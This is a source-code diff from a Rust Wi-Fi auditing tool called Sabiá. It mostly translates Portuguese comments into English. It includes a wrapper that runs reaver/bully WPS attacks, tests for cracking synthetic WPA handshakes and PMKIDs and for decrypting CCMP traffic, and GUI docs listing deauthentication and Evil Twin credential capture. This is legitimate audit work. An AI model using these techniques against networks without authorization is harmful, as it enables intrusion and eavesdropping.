let err = apply(&PathBuf::from("/opt/sabia/sabia-gui")).unwrap_err();
assert!(err.to_string().contains("só para o CLI"), "{err}");
let err = apply(&PathBuf::from("C:/Program Files/Sabia/sabia-gui.exe")).unwrap_err();
+14 -14
View File
@@ -1,10 +1,10 @@
//! Ataque de PIN WPS com o `reaver` embutido.
//! WPS PIN / Pixie Dust auditing via bundled `reaver` (or system `bully`).
//!
//! Extracts the bundled `reaver` binary at runtime (see
//! `crates/sabia-core/assets/tools/LICENSE.reaver`) or uses a system
//! `reaver`/`bully` installation when present.
//!
//!
//! O protocolo EAP-WSC é grande demais para reimplementar aqui; o Sabiá
//! carrega uma cópia do reaver (GPL-2, veja `crates/sabia-core/assets/tools/LICENSE.reaver`),
//! extrai em tempo de execução e mostra a saída ao vivo. Assim o WPS já
//! funciona sem instalar nada. Se o usuário tiver um `bully` no PATH, ele
//! também aparece como alternativa.
use serde::Serialize;
use std::path::PathBuf;
@@ -19,9 +19,9 @@ pub struct WpsTool {
#[cfg(target_os = "linux")]
const BUNDLED_REAVER: &[u8] = include_bytes!("../assets/tools/reaver");
/// Procura um binário no `PATH` — usado pelo WPS (reaver/bully) e, fora
/// deste módulo, pelo Evil Twin (hostapd/dnsmasq), que precisa da mesma
/// checagem sem puxar uma dependência nova só pra isso.
/// Searches `PATH` (plus standard sbin directories) for an executable `name`.
///
///
pub(crate) fn find_in_path(binary: &str) -> Option<PathBuf> {
let path = std::env::var_os("PATH")?;
for dir in std::env::split_paths(&path) {
@@ -72,8 +72,8 @@ fn bundled_reaver() -> Option<PathBuf> {
use std::fs;
use std::os::unix::fs::PermissionsExt;
// `temp_dir` é compartilhado; usa um diretório por UID e confere que ele
// não é um symlink antes de gravar, para não seguir link de outro usuário.
// Extract into a per-UID private directory and verify it is not a symlink.
//
let uid = unsafe { libc::geteuid() };
let dir = std::env::temp_dir().join(format!("sabia-tools-{uid}"));
if let Ok(meta) = fs::symlink_metadata(&dir) {
@@ -104,8 +104,8 @@ fn bundled_reaver() -> Option<PathBuf> {
None
}
/// Argumentos para uma execução. Sem PIN, usa Pixie Dust (`-K 1`) no reaver
/// e o ataque padrão no bully.
/// Builds CLI arguments for `reaver` or `bully` (defaults to Pixie Dust `-K 1` when `pin` is `None`).
///
pub fn args(tool: &str, iface: &str, bssid: &str, channel: u32, pin: Option<&str>) -> Vec<String> {
let channel = channel.to_string();
match tool {
@@ -151,7 +151,7 @@ pub fn args(tool: &str, iface: &str, bssid: &str, channel: u32, pin: Option<&str
}
}
/// Extrai PIN/PSK de uma linha de saída do reaver/bully.
/// Parses a recovered WPS PIN or WPA PSK from a `reaver`/`bully` output line.
pub fn parse_line(line: &str) -> (Option<String>, Option<String>) {
let lower = line.to_ascii_lowercase();
let grab = |needle: &str| -> Option<String> {
+7 -7
View File
@@ -1,6 +1,6 @@
//! Integração: trilha de auditoria encadeada por hash — grava entradas,
//! confirma que a cadeia valida, depois adultera um registro no disco e
//! confirma que a verificação detecta a falha.
//! Integration test: hash-chained audit trail — appends entries, verifies
//! chain integrity, then tampers with a middle record on disk and confirms
//! verification pinpoints the corrupted entry.
mod common;
@@ -26,7 +26,7 @@ fn chain_validates_after_recording_entries() {
assert_eq!(entries.len(), 3);
assert_eq!(entries[0].action, "monitor-on");
assert_eq!(entries[2].action, "deauth");
// cadeia encadeada corretamente
// each entry's `prev_hash` matches the preceding entry's `hash`
assert_eq!(entries[1].prev_hash, entries[0].hash);
assert_eq!(entries[2].prev_hash, entries[1].hash);
@@ -52,11 +52,11 @@ fn tampering_with_an_entry_breaks_verification() {
.expect("record 3");
}
// Confirma que, intacta, a cadeia passa.
// Intact chain verifies cleanly.
assert_eq!(AuditLog::verify(&path).expect("verify ok"), None);
// Adultera o "detail" da segunda entrada sem recalcular o hash,
// simulando uma edição retroativa do log.
// Tamper with the second entry's `detail` field without recomputing its hash.
//
let contents = std::fs::read_to_string(&path).expect("read");
let mut lines: Vec<String> = contents.lines().map(|l| l.to_string()).collect();
assert_eq!(lines.len(), 3);
+13 -13
View File
@@ -1,10 +1,10 @@
#![allow(dead_code)]
//! Helpers de teste de integração: quadros 802.11/EAPOL sintéticos,
//! radiotap e handshakes válidos gerados a partir de uma senha conhecida.
//! Integration-test helpers: synthetic Radiotap/802.11/EAPOL frames and
//! valid 4-way handshakes generated from a known passphrase.
//!
//!
//!
//!
//! Porta a lógica de `crates/sabia-core/src/testutil.rs` (que só existe em
//! `#[cfg(test)]` e por isso não fica visível aqui), usando só a API
//! pública de `sabia_core`.
use sabia_core::crack::{compute_mic, compute_pmkid, compute_ptk, derive_pmk};
use sabia_core::dot11;
@@ -58,11 +58,11 @@ pub fn frame_with_eapol(
f.extend_from_slice(&fc.to_le_bytes());
f.extend_from_slice(&0u16.to_le_bytes());
if from_ap {
f.extend_from_slice(&sta); // addr1 = destino
f.extend_from_slice(&sta); // addr1 = destination
f.extend_from_slice(&ap); // addr2 = BSSID
} else {
f.extend_from_slice(&ap); // addr1 = BSSID
f.extend_from_slice(&sta); // addr2 = origem
f.extend_from_slice(&sta); // addr2 = source
}
f.extend_from_slice(&da);
f.extend_from_slice(&[0u8; 2]);
@@ -160,7 +160,7 @@ pub fn data_frame(
f
}
/// Gera (msg1, msg2) válidas para a senha informada, com MIC correto.
/// Generates a valid `(msg1, msg2)` EAPOL-Key pair with a verified MIC for `passphrase`.
pub fn handshake_frames(
ssid: &str,
password: &str,
@@ -184,8 +184,8 @@ pub fn handshake_frames(
(m1, m2)
}
/// Monta quadros radiotap+802.11 completos (prontos para `ScanTable::ingest`)
/// com o 4-way handshake entre `AP` e `STA` para o SSID/senha dados.
/// Builds complete Radiotap + 802.11 frames (ready for `ScanTable::ingest`)
/// carrying the 4-way handshake between `AP` and `STA` for `ssid`/`passphrase`.
pub fn handshake_radiotap_frames(
ssid: &str,
password: &str,
@@ -198,8 +198,8 @@ pub fn handshake_radiotap_frames(
(radiotap_wrap(&f1, 2437, -40), radiotap_wrap(&f2, 2437, -42))
}
/// Monta um `Handshake` diretamente dos quadros EAPOL, para testes de quebra
/// sem depender do pipeline de captura.
/// Assembles a `Handshake` directly from synthetic EAPOL frames for cracking tests.
///
pub fn synthetic_handshake(
ssid: &str,
bssid: &str,
@@ -233,7 +233,7 @@ pub fn synthetic_handshake(
password: None,
tk: None,
};
// Exercita o parser de MAC do alvo.
// Exercises MAC address parsing.
assert!(dot11::parse_mac(&hs.bssid).is_some());
assert!(dot11::parse_mac(&hs.station).is_some());
hs
+8 -8
View File
@@ -1,6 +1,6 @@
//! Integração: handshake sintético (gerado com senha conhecida) -> montagem
//! de `CrackTarget` -> `verify()`, para os dois métodos (EAPOL 4-way e
//! PMKID), cobrindo senha certa e errada.
//! Integration test: synthetic handshake -> `CrackTarget` -> `verify()` and
//! dictionary cracking across both EAPOL 4-way and PMKID modes.
//!
mod common;
@@ -45,7 +45,7 @@ fn tkip_keyversion_roundtrip_verifies_password() {
#[test]
fn incomplete_handshake_without_pmkid_or_msg2_has_no_target() {
let (m1, _m2) = common::handshake_frames("MinhaRede", "senha-correta", 2, false);
// Sem msg2 e sem PMKID: não há prova suficiente para quebrar.
// Without message 2 or a PMKID, the handshake is not yet crackable.
let hs = common::synthetic_handshake("MinhaRede", BSSID, STATION, &m1, &[]);
assert!(CrackTarget::from_handshake(&hs).is_none());
}
@@ -60,17 +60,17 @@ fn derive_pmk_compute_ptk_and_mic_are_consistent() {
let pmk = derive_pmk(password, ssid);
let ptk = compute_ptk(&pmk, &common::ap(), &common::sta(), &anonce, &snonce);
// MIC calculado sobre um quadro msg2 qualquer, zerando o campo MIC antes.
// Compute the MIC over a message 2 frame with its MIC field zeroed.
let mut m2 = common::key_frame(2, 2, snonce, &[]);
let mic = compute_mic(2, &ptk[..16], &m2, sabia_core::eapol::MIC_OFFSET).expect("mic");
m2[sabia_core::eapol::MIC_OFFSET..sabia_core::eapol::MIC_OFFSET + 16].copy_from_slice(&mic);
// Recalculando o MIC sobre o quadro já preenchido deve bater de novo
// (compute_mic zera o campo internamente antes de recalcular).
// Recomputing the MIC over the already-signed frame must yield the same digest
// (`compute_mic` zeroes the MIC slice before hashing).
let mic_again = compute_mic(2, &ptk[..16], &m2, sabia_core::eapol::MIC_OFFSET).expect("mic");
assert_eq!(mic, mic_again);
// PMKID direto também deve ser determinístico e usável no verify().
// Direct PMKID computation is deterministic and verifies via `CrackTarget::Pmkid`.
let pmkid = compute_pmkid(&pmk, &common::ap(), &common::sta());
assert_eq!(
pmkid,
+3 -3
View File
@@ -1,6 +1,6 @@
//! Integração: grava quadros com `PcapWriter`, lê de volta com
//! `PcapReader` e confere que batem byte a byte; depois confirma que
//! `Engine::analyze_pcap` encontra redes e handshakes no arquivo recém-escrito.
//! Integration test: writes frames with `PcapWriter`, reads them back with
//! `PcapReader`, and verifies `Engine::analyze_pcap` reconstructs the AP and handshake.
//!
mod common;
+23 -23
View File
@@ -1,6 +1,6 @@
//! Integração: beacon + probe + handshake completo passando pelo caminho
//! público de agregação (`ScanTable`), verificando que AP, cliente e
//! handshake são detectados de ponta a ponta.
//! End-to-end integration test: ingests beacon, probe, and 4-way handshake
//! frames into `ScanTable` and verifies AP, client, handshake, and live CCMP
//! data frame decryption.
mod common;
@@ -10,7 +10,7 @@ use sabia_core::scan::ScanTable;
fn detects_ap_client_and_handshake_end_to_end() {
let mut table = ScanTable::new();
// RSN com AKM PSK (2) para que a rede apareça como WPA2-PSK.
// Include an RSN IE with PSK AKM (2) so the AP is classified as WPA2-PSK.
let beacon = common::beacon_frame(common::ap(), "RedeTeste", 6, &[2]);
table.ingest(&common::radiotap_wrap(&beacon, 2437, -35));
@@ -58,7 +58,7 @@ fn detects_ap_client_and_handshake_end_to_end() {
fn hidden_ssid_beacon_is_marked_hidden() {
let mut table = ScanTable::new();
// SSID vazio = rede oculta.
// Empty 0-length SSID IE = hidden network.
let beacon = common::beacon_frame(common::ap(), "", 11, &[2]);
table.ingest(&common::radiotap_wrap(&beacon, 2462, -60));
@@ -67,11 +67,11 @@ fn hidden_ssid_beacon_is_marked_hidden() {
assert!(aps[0].hidden);
}
/// Depois que a senha de uma rede WPA2/CCMP é conhecida (quebrada), o
/// tráfego de dados do cliente cujo handshake foi capturado passa a ser
/// decifrado em tempo real pelo pipeline de ingestão — e a identidade
/// (aqui, o IP de origem, que exercita o parser de IPv4 por trás do LLC)
/// aparece mesmo com o bit "Protected" ligado.
/// Once a WPA2/CCMP handshake has been cracked, subsequent protected QoS Data
/// frames from that station are decrypted on the fly using its derived TK to
/// populate client identity fields (such as its IPv4 address).
///
///
#[test]
fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
use sabia_core::crack::{compute_ptk, derive_pmk};
@@ -91,8 +91,8 @@ fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
let station_str = sabia_core::dot11::mac_to_string(&common::sta());
table.set_password(&bssid_str, &station_str, password);
// A TK derivada pelo pipeline tem que bater com a calculada à parte, com
// os mesmos nonces fixos (0xaa/0xbb) que handshake_radiotap_frames usa.
// The pipeline-derived TK must match the TK computed directly from the same nonces.
//
let anonce = [0xaa; 32];
let snonce = [0xbb; 32];
let pmk = derive_pmk(password, ssid);
@@ -107,16 +107,16 @@ fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
"TK deveria ser derivada ao quebrar a senha"
);
// Monta um quadro QoS Data, STA->AP, protegido, com CCMP header (PN=1,
// ExtIV ligado) e cifra um payload LLC/SNAP+IPv4 "na mão" — o CTR do
// CCMP é simétrico, então usar decrypt_data pra cifrar é válido aqui.
// Build a protected STA->AP QoS Data frame (CCMP PN=1, ExtIV=1) carrying an
// encrypted LLC/SNAP + IPv4 packet.
//
let llc_ipv4 = {
let mut v = vec![0xAA, 0xAA, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00];
let mut ip = vec![
0x45, 0x00, 0x00, 20, 0x00, 0x00, 0x00, 0x00, 64, 17, 0x00, 0x00,
];
ip.extend_from_slice(&[192, 168, 1, 50]); // origem privada
ip.extend_from_slice(&[192, 168, 1, 1]); // destino
ip.extend_from_slice(&[192, 168, 1, 50]); // private source IPv4
ip.extend_from_slice(&[192, 168, 1, 1]); // destination IPv4
v.extend_from_slice(&ip);
v
};
@@ -124,22 +124,22 @@ fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
let mut to_cipher = Vec::new();
to_cipher.extend_from_slice(&ccmp_header);
to_cipher.extend_from_slice(&llc_ipv4);
to_cipher.extend_from_slice(&[0u8; 8]); // placeholder pro MIC, ignorado
to_cipher.extend_from_slice(&[0u8; 8]); // 8-byte MIC placeholder
let ciphertext = sabia_core::ccmp::decrypt_data(&expected_tk, &common::sta(), 0, &to_cipher)
.expect("cifra via CTR simétrico");
let mut body = Vec::new();
body.extend_from_slice(&ccmp_header);
body.extend_from_slice(&ciphertext);
body.extend_from_slice(&[0u8; 8]); // MIC cifrado — não conferido na decriptação
body.extend_from_slice(&[0u8; 8]); // trailing 8-byte MIC
let mut frame = Vec::new();
let fc: u16 = 0x0088 | 0x0100 | 0x4000; // QoS Data, to_ds, protected
frame.extend_from_slice(&fc.to_le_bytes());
frame.extend_from_slice(&0u16.to_le_bytes()); // duration
frame.extend_from_slice(&common::ap()); // addr1 = BSSID
frame.extend_from_slice(&common::sta()); // addr2 = transmissor (estação)
frame.extend_from_slice(&common::ap()); // addr3 = destino (irrelevante aqui)
frame.extend_from_slice(&common::sta()); // addr2 = transmitter (station)
frame.extend_from_slice(&common::ap()); // addr3 = destination
frame.extend_from_slice(&[0u8; 2]); // sequence control
frame.extend_from_slice(&[0u8; 2]); // QoS control, TID 0
frame.extend_from_slice(&body);
@@ -163,11 +163,11 @@ fn decrypts_ccmp_traffic_once_password_is_known_and_fills_client_identity() {
fn pmkid_only_handshake_is_detected_and_crackable() {
let mut table = ScanTable::new();
// Beacon com SSID visível, para que o handshake herde o SSID via hint.
// Beacon with visible SSID so the PMKID handshake inherits the SSID hint.
let beacon = common::beacon_frame(common::ap(), "RedePmkid", 11, &[2]);
table.ingest_at(&common::radiotap_wrap(&beacon, 2462, -60), 1);
// Handshake via PMKID (só msg1, sem msg2/snonce).
// PMKID-only handshake (message 1 with PMKID KDE, no message 2).
let (m1, _m2) = common::handshake_frames("RedePmkid", "outra-senha", 2, true);
let f1 = common::frame_with_eapol(true, common::ap(), common::sta(), common::sta(), &m1);
let ev = table.ingest_at(&common::radiotap_wrap(&f1, 2462, -55), 20);
Binary file not shown.

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 179 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 190 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 193 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 110 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 115 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

+13
View File
@@ -4,6 +4,8 @@
The desktop app (Tauri) and the browser version (`sabia ui`) are the same front-end, in `apps/gui/ui/`. Only the transport differs: the desktop app talks to the core through Tauri; in the browser, `sabia-cli` starts a local server on `127.0.0.1` protected by a token generated on the spot.
<p align="center"><img src="img/networks-light-en.png" width="900" alt="Sabiá capturing Wi-Fi frames in monitor mode, showing visible networks with signal bars, channels, security badges and associated clients"></p>
## Screens
- **Interface sidebar:** lists the Wi-Fi interfaces; pick one to work with. The footer has the version and the one-click **update** button.
@@ -14,6 +16,8 @@ The desktop app (Tauri) and the browser version (`sabia ui`) are the same front-
- **Network detail → Attacks tab:** directional/continuous deauthentication, PMF probing, clientless PMKID hunting, handshake capture (auto-resumes the capture session if it was stopped), cracking (bundled 9.7M-password dictionary, mutation rules, mask brute force), `.hc22000` export, WPS PIN/Pixie Dust, Evil Twin with captive portal (WPA/WPA2-PSK), and — only shown for 802.1X networks — the Enterprise Evil Twin variant that captures credentials automatically. Every action requires the authorized-use checkbox and is logged to the audit trail.
- **Report:** a paginated, printable audit report (cover, table of contents, findings, channel scoring, networks/clients/handshakes, audit trail) previewed in a dialog and printable to PDF from the browser.
<p align="center"><img src="img/attack-light-en.png" width="900" alt="Network detail dialog showing the Attacks tab (deauthentication, handshake capture, cracking, PMF, WPS and Evil Twin)"></p>
## Privilege
Monitor mode and capture require root/admin. On startup, the app elevates automatically (on Linux and macOS it restarts elevated; on Windows, via the manifest). A notice appears while elevation is requested, with a retry option.
@@ -21,3 +25,12 @@ Monitor mode and capture require root/admin. On startup, the app elevates automa
## Themes and language
**Auto, Light and Dark** themes and interface in **Portuguese and English**. The system language is detected at start; the choice is saved. The source text is Portuguese and English is applied at runtime (see `apps/gui/ui/i18n.js`).
<p align="center"><img src="img/networks-dark-en.png" width="900" alt="The networks table in the dark theme"></p>
<p align="center"><img src="img/settings-language-en.png" width="420" alt="The Settings dialog with the Language selector set to English"></p>
## About these screenshots
They show the real interface running with synthetic audit data: 7 access points across 2.4 and 5 GHz (covering open, WEP, WPA/WPA2, WPA3 and 802.1X Enterprise), simulated client stations, and captured handshakes. No real third-party network data appears.
+13
View File
@@ -4,6 +4,8 @@
O app desktop (Tauri) e a versão no navegador (`sabia ui`) são o mesmo front-end, em `apps/gui/ui/`. Muda só o transporte: o app desktop fala com o núcleo pelo Tauri; no navegador, o `sabia-cli` sobe um servidor local em `127.0.0.1` protegido por um token gerado na hora.
<p align="center"><img src="../img/networks-light-pt.png" width="900" alt="O Sabiá capturando quadros Wi-Fi em modo monitor, mostrando redes visíveis com barras de sinal, canais, selos de segurança e clientes associados"></p>
## Telas
- **Sidebar de interfaces:** lista as interfaces Wi-Fi; selecione uma para trabalhar. No rodapé ficam a versão e o botão de **atualização** em um clique.
@@ -14,6 +16,8 @@ O app desktop (Tauri) e a versão no navegador (`sabia ui`) são o mesmo front-e
- **Detalhe da rede → aba Ataques:** desautenticação direcional/contínua, teste de PMF, caça de PMKID sem cliente, captura de handshake (religa a captura sozinha se ela tiver sido parada), quebra de senha (dicionário embutido de 9,7 milhões de senhas, regras de mutação, força bruta por máscara), exportação `.hc22000`, WPS PIN/Pixie Dust, Evil Twin com portal cativo (WPA/WPA2-PSK) e — só exibido para redes 802.1X — a variante Enterprise do Evil Twin, que captura credenciais automaticamente. Toda ação exige o checkbox de autorização e fica registrada na trilha de auditoria.
- **Relatório:** relatório de auditoria paginado e imprimível (capa, sumário, achados, pontuação de canais, redes/clientes/handshakes, trilha de auditoria), pré-visualizado num diálogo e imprimível em PDF pelo navegador.
<p align="center"><img src="../img/attack-light-pt.png" width="900" alt="Diálogo de detalhes da rede exibindo a aba de Ataques (desautenticação, captura de handshake, quebra de senha, PMF, WPS e Evil Twin)"></p>
## Privilégio
Modo monitor e captura exigem root/admin. Ao abrir, o app pede elevação automaticamente (no Linux e macOS ele reinicia elevado; no Windows, pelo manifesto). Um aviso aparece enquanto a elevação é pedida, com a opção de tentar de novo.
@@ -21,3 +25,12 @@ Modo monitor e captura exigem root/admin. Ao abrir, o app pede elevação automa
## Temas e idioma
Temas **Auto, Claro e Escuro** e interface em **português e inglês**. O idioma do sistema é detectado no início; a escolha fica salva. O texto-fonte é em português e o inglês é aplicado em tempo de execução (veja `apps/gui/ui/i18n.js`).
<p align="center"><img src="../img/networks-dark-pt.png" width="900" alt="A tabela de redes no tema escuro"></p>
<p align="center"><img src="../img/settings-language-pt.png" width="420" alt="A janela de Configurações com o seletor de Idioma em Português"></p>
## Sobre estas telas
Elas mostram a interface real rodando com dados sintéticos de auditoria: 7 pontos de acesso cobrindo 2,4 e 5 GHz (aberta, WEP, WPA/WPA2, WPA3 e 802.1X Enterprise), estações de clientes simuladas e handshakes capturados. Nenhum dado de rede real de terceiros é exibido.
+14 -17
View File
@@ -1,35 +1,32 @@
#!/usr/bin/env bash
# Instala pacotes do apt no CI sem depender do espelho estar rápido: usa os .deb em cache quando
# existem e, se o apt travar ou falhar, tenta de novo com tempo limite por tentativa.
# Installs apt packages in CI without depending on fast mirrors: reuses cached .deb
# archives when present and retries with per-attempt timeouts if apt stalls or fails.
#
# Os passos de apt do CI já levaram de 13 a 28 minutos num dia de espelho lento, contra uns 35 s
# no normal. O cache evita o download; o tempo limite evita ficar preso.
#
# Uso: scripts/apt-install.sh <pasta-do-cache> <pacote>...
# Usage: scripts/apt-install.sh <cache-dir> <package>...
set -euo pipefail
[ $# -ge 2 ] || { echo "uso: $0 <pasta-do-cache> <pacote>..." >&2; exit 2; }
[ $# -ge 2 ] || { echo "usage: $0 <cache-dir> <package>..." >&2; exit 2; }
cache="$1"; shift
pkgs=("$@")
mkdir -p "$cache/partial"
# O apt roda como root e deixa arquivos (lock, .deb) que o usuário do runner não lê; sem devolver a
# posse, o actions/cache falha ao empacotar a pasta ("tar failed with exit code 2") e nunca grava.
# apt runs as root and leaves files (lock, .deb) unreadable by non-root runner users;
# restore ownership on exit so cache directories remain accessible.
trap 'sudo chown -R "$(id -u):$(id -g)" "$cache" 2>/dev/null || true; rm -f "$cache/lock"' EXIT
opts=(-o "Dir::Cache::archives=$cache" -y)
# 1) com .deb em cache e índice presente: instala direto, sem nem atualizar o índice do apt
# 1) With cached .deb files and package index present: install directly without updating apt lists
if [ -z "$(dpkg --print-foreign-architectures)" ] && ls "$cache"/*.deb >/dev/null 2>&1 && ls /var/lib/apt/lists/*Packages* >/dev/null 2>&1 && timeout 300 sudo apt-get "${opts[@]}" install "${pkgs[@]}"; then
echo "instalado a partir do cache"
echo "installed from cache"
exit 0
fi
# 2) sem cache (ou multiarch / incompleto): atualiza e instala, até 3 tentativas com tempo limite
for tentativa in 1 2 3; do
# 2) Cache miss (or multiarch / incomplete): update and install, up to 3 attempts with timeout
for attempt in 1 2 3; do
if timeout 240 sudo apt-get update && { [ -z "$(dpkg --print-foreign-architectures)" ] || timeout 600 sudo apt-get "${opts[@]}" upgrade; } && timeout 600 sudo apt-get "${opts[@]}" install "${pkgs[@]}"; then
echo "instalado (tentativa $tentativa)"
echo "installed (attempt $attempt)"
exit 0
fi
echo "apt falhou ou passou do tempo (tentativa $tentativa de 3)" >&2
sleep $((tentativa * 10))
echo "apt failed or timed out (attempt $attempt of 3)" >&2
sleep $((attempt * 10))
done
echo "não foi possível instalar: ${pkgs[*]}" >&2
echo "failed to install: ${pkgs[*]}" >&2
exit 1
+60 -25
View File
@@ -1,18 +1,18 @@
#!/usr/bin/env bash
# Compila o app desktop (Tauri) e deixa os pacotes em dist-gui/, com os nomes
# que a release usa.
# Builds the desktop app (Tauri) and places the resulting bundles in dist-gui/.
#
# scripts/build-gui.sh linux # AppImage e .deb; precisa de uma máquina Linux com os pacotes do Tauri
# scripts/build-gui.sh windows # instalador NSIS, compilado a partir do Linux
# scripts/build-gui.sh linux # AppImage and .deb (native architecture)
# scripts/build-gui.sh linux-aarch64 # AppImage and .deb for aarch64
# scripts/build-gui.sh linux-x86_64 # AppImage and .deb for x86_64 (native or cross-built from aarch64)
# scripts/build-gui.sh windows # NSIS installer, cross-built from Linux via cargo-xwin
# scripts/build-gui.sh windows-docker # Same as above inside an isolated container
#
# O Windows usa cargo-xwin (SDK do Windows baixado na hora) e o NSIS, que o Tauri
# documenta como compilação cruzada experimental. Precisa de: nsis, lld, llvm,
# clang e `cargo install cargo-xwin`. O .msi não sai daqui (o WiX é só do Windows).
# `scripts/build-gui.sh windows-docker` roda o mesmo num container, sem instalar nada.
# Windows builds use cargo-xwin and NSIS (requires: nsis, lld, llvm, clang, and
# `cargo install cargo-xwin`).
set -euo pipefail
cd "$(dirname "$0")/.."
platform=${1:?uso: build-gui.sh <linux|linux-x86_64|linux-aarch64|windows|windows-docker>}
platform=${1:?usage: build-gui.sh <linux|linux-x86_64|linux-aarch64|windows|windows-docker>}
tauri() { npx --yes @tauri-apps/cli@2 "$@"; }
if [ -z "${TAURI_SIGNING_PRIVATE_KEY:-}" ] && [ -f "$HOME/.tauri/sabia-updater.key" ]; then
@@ -43,7 +43,7 @@ rm -rf dist-gui
mkdir -p dist-gui
cd apps/gui/src-tauri
# Os ícones derivados do original não ficam todos no repositório.
# Generate derived icons if missing.
[ -f icons/icon.ico ] || tauri icon icons/source.png -o icons
tauri_blob_cache="$HOME/.cache/tauri"
@@ -76,7 +76,7 @@ case "$platform" in
rm -rf "$bundle/appimage" "$bundle/deb"
tauri build --bundles appimage,deb
cp "$bundle"/appimage/*.AppImage "$bundle"/deb/*.deb ../../../dist-gui/
# O atualizador do Tauri (quando o projeto usa) precisa do .sig ao lado.
# Include .sig alongside the bundle when updater signing is enabled.
cp "$bundle"/appimage/*.AppImage.sig ../../../dist-gui/ 2>/dev/null || true
;;
linux-x86_64)
@@ -102,24 +102,59 @@ EOF
done
fetch_cached_tool "linuxdeploy-07333c6-aarch64.AppImage" \
"https://github.com/tauri-apps/binary-releases/releases/download/linuxdeploy-07333c6/linuxdeploy-aarch64.AppImage" 1
# tauri-bundler looks for this exact cache name (no arch suffix); the
# architecture only appears in the download URL.
fetch_cached_tool "linuxdeploy-plugin-appimage.AppImage" \
"https://github.com/linuxdeploy/linuxdeploy-plugin-appimage/releases/download/continuous/linuxdeploy-plugin-appimage-aarch64.AppImage" 1
fetch_cached_tool "AppRun-x86_64" \
"https://github.com/tauri-apps/binary-releases/releases/download/apprun-old/AppRun-x86_64" 0
fetch_cached_tool "runtime-x86_64" \
"https://github.com/AppImage/type2-runtime/releases/download/continuous/runtime-x86_64" 0
cat >"$HOME/.cache/tauri/linuxdeploy-07333c6-x86_64.AppImage" <<'EOF'
#!/usr/bin/env bash
export ARCH=x86_64
export NO_STRIP=true
export APPIMAGE_EXTRACT_AND_RUN=1
export LDAI_RUNTIME_FILE="$HOME/.cache/tauri/runtime-x86_64"
export LD_GTK_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu
export DEB_HOST_MULTIARCH=x86_64-linux-gnu
export PKG_CONFIG_ALLOW_CROSS=1
export PKG_CONFIG_LIBDIR=/usr/lib/x86_64-linux-gnu/pkgconfig:/usr/share/pkgconfig
export PATH="/tmp/x86_64-cross-tools:$PATH"
exec "$HOME/.cache/tauri/linuxdeploy-07333c6-aarch64.AppImage" "$@"
# tauri-bundler runs `dd ... seek=8` on this path to hide linuxdeploy from
# AppImage integration tools. A shell-script wrapper loses its shebang and
# then fails with ENOENT, so use a native ELF launcher: the dd writes into
# ELF padding and the launcher stays executable.
launcher_src=/tmp/x86_64-cross-tools/linuxdeploy-x86_64.c
launcher_bin="$HOME/.cache/tauri/linuxdeploy-07333c6-x86_64.AppImage"
cat >"$launcher_src" <<'EOF'
#define _POSIX_C_SOURCE 200809L
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv) {
const char *home = getenv("HOME");
if (home == NULL) { fputs("HOME is not set\n", stderr); return 127; }
char target[4096];
char runtime[4096];
char path[8192];
const char *old_path = getenv("PATH");
snprintf(target, sizeof target, "%s/.cache/tauri/linuxdeploy-07333c6-aarch64.AppImage", home);
snprintf(runtime, sizeof runtime, "%s/.cache/tauri/runtime-x86_64", home);
snprintf(path, sizeof path, "/tmp/x86_64-cross-tools:%s",
old_path ? old_path : "/usr/local/bin:/usr/bin:/bin");
if (setenv("ARCH", "x86_64", 1) ||
setenv("NO_STRIP", "true", 1) ||
setenv("APPIMAGE_EXTRACT_AND_RUN", "1", 1) ||
setenv("LDAI_RUNTIME_FILE", runtime, 1) ||
setenv("LD_GTK_LIBRARY_PATH", "/usr/lib/x86_64-linux-gnu", 1) ||
setenv("DEB_HOST_MULTIARCH", "x86_64-linux-gnu", 1) ||
setenv("PKG_CONFIG_ALLOW_CROSS", "1", 1) ||
setenv("PKG_CONFIG_LIBDIR", "/usr/lib/x86_64-linux-gnu/pkgconfig:/usr/share/pkgconfig", 1) ||
setenv("PATH", path, 1)) {
perror("setenv");
return 127;
}
char **args = calloc((size_t)argc + 1, sizeof *args);
if (args == NULL) { perror("calloc"); return 127; }
args[0] = target;
for (int i = 1; i < argc; i++) args[i] = argv[i];
execv(target, args);
perror(target);
return 127;
}
EOF
chmod +x "$HOME/.cache/tauri/linuxdeploy-07333c6-x86_64.AppImage"
cc -O2 -Wall -Wextra -o "$launcher_bin" "$launcher_src"
export PKG_CONFIG_ALLOW_CROSS=1
export PKG_CONFIG_LIBDIR=/usr/lib/x86_64-linux-gnu/pkgconfig:/usr/share/pkgconfig
export CARGO_TARGET_X86_64_UNKNOWN_LINUX_GNU_LINKER=x86_64-linux-gnu-gcc
@@ -140,7 +175,7 @@ EOF
cp "$bundle"/*-setup.exe ../../../dist-gui/
cp "$bundle"/*-setup.exe.sig ../../../dist-gui/ 2>/dev/null || true
;;
*) echo "plataforma desconhecida: $platform" >&2; exit 2 ;;
*) echo "unknown platform: $platform" >&2; exit 2 ;;
esac
ls -1 ../../../dist-gui
+21 -22
View File
@@ -1,13 +1,12 @@
#!/usr/bin/env node
// Confere se o dicionário inglês cobre os textos da interface.
// Verifies that the English dictionary covers all user-facing interface strings.
//
// A varredura é estática e sem dependências: lê os arquivos da interface
// (JS e HTML) e as mensagens pt-BR que o núcleo em Rust manda pra tela
// (erros, diagnóstico, status do engine), e falha quando encontra uma
// string que parece português e não tem tradução. Também recusa chaves
// duplicadas no dicionário (num objeto JS a última vence em silêncio).
// Static zero-dependency scanner: reads the UI files (JS and HTML) and the
// pt-BR messages emitted by the Rust core (errors, diagnostics, engine status),
// failing whenever a string looks like Portuguese and lacks a translation. Also
// rejects duplicate keys in the dictionary (in a JS object literal the last key wins silently).
//
